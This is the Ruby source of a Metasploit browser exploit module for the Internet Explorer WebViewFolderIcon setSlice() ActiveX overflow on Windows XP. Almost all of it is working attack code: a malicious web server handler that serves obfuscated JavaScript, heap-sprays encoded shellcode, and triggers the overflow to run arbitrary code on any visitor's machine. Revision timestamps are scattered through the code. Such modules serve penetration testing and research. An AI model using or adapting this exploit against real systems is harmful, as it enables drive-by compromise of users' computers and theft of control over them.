2006-09-27 04:01:22 +00:00
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require 'msf/core'
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module Msf
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class Exploits::Windows::Browser::WebView_SetSlice < Msf::Exploit::Remote
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include Exploit::Remote::HttpServer::Html
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Internet Explorer WebViewFolderIcon setSlice() Overflow',
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'Description' => %q{
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This module exploits a flaw in the WebViewFolderIcon ActiveX control
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included with Windows 2000, Windows XP, and Windows 2003. This flaw was published
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during the Month of Browser Bugs project (MoBB #18).
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'hdm',
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],
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'Version' => '$Revision: 3783 $',
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'References' =>
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[
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[ 'OSVDB', '27110' ],
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[ 'BID', '19030' ],
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[ 'URL', 'http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html' ]
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],
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]
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],
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Get a unicode friendly version of the return address
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2006-09-27 04:06:33 +00:00
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addr_word = [target.ret].pack('V').unpack('H*')[0][0,4]
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2006-09-27 04:01:22 +00:00
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# Randomize the javascript variable names
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2006-09-27 04:06:33 +00:00
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var_buffer = Rex::Text.rand_text_alpha(rand(30)+2)
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2006-09-27 04:01:22 +00:00
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var_shellcode = Rex::Text.rand_text_alpha(rand(30)+2)
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var_unescape = Rex::Text.rand_text_alpha(rand(30)+2)
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var_x = Rex::Text.rand_text_alpha(rand(30)+2)
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var_i = Rex::Text.rand_text_alpha(rand(30)+2)
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var_tic = Rex::Text.rand_text_alpha(rand(30)+2)
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var_toc = Rex::Text.rand_text_alpha(rand(30)+2)
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# Randomize HTML data
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html = Rex::Text.rand_text_alpha(rand(30)+2)
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# Build out the message
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content = %Q|
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<html>
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<head>
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<script>
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try {
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var #{var_unescape} = unescape ;
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var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;
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var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
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while (#{var_buffer}.length <= 0x400000) #{var_buffer}+=#{var_buffer} ;
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var #{var_x} = new Array() ;
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for ( var #{var_i} =0 ; #{var_i} < 30 ; #{var_i}++ ) {
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#{var_x}[ #{var_i} ] =
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#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
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#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
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#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
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#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
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}
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for ( var #{var_i} = 0 ; #{var_i} < 1024 ; #{var_i}++) {
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var #{var_tic} = new ActiveXObject( 'WebViewFolderIcon.WebViewFolderIcon.1' );
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try { #{var_tic}.setSlice( 0x7ffffffe , 0 , 0 , #{target.ret} ) ; } catch( e ) { }
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var #{var_toc} = new ActiveXObject( 'WebViewFolderIcon.WebViewFolderIcon.1' );
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}
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} catch( e ) { window.location = 'about:blank' ; }
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</script>
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</head>
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<body>
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#{html}
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</body>
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</html>
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2006-09-27 04:06:33 +00:00
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# Randomize the whitespace in the document
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content.gsub!(/\s+/) do |s|
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len = rand(100)+2
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set = "\x09\x20\x0d\x0a"
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buf = ''
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while (buf.length < len)
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buf << set[rand(set.length)].chr
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end
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buf
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end
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2006-09-27 04:01:22 +00:00
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response(cli, content)
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end
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end
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end
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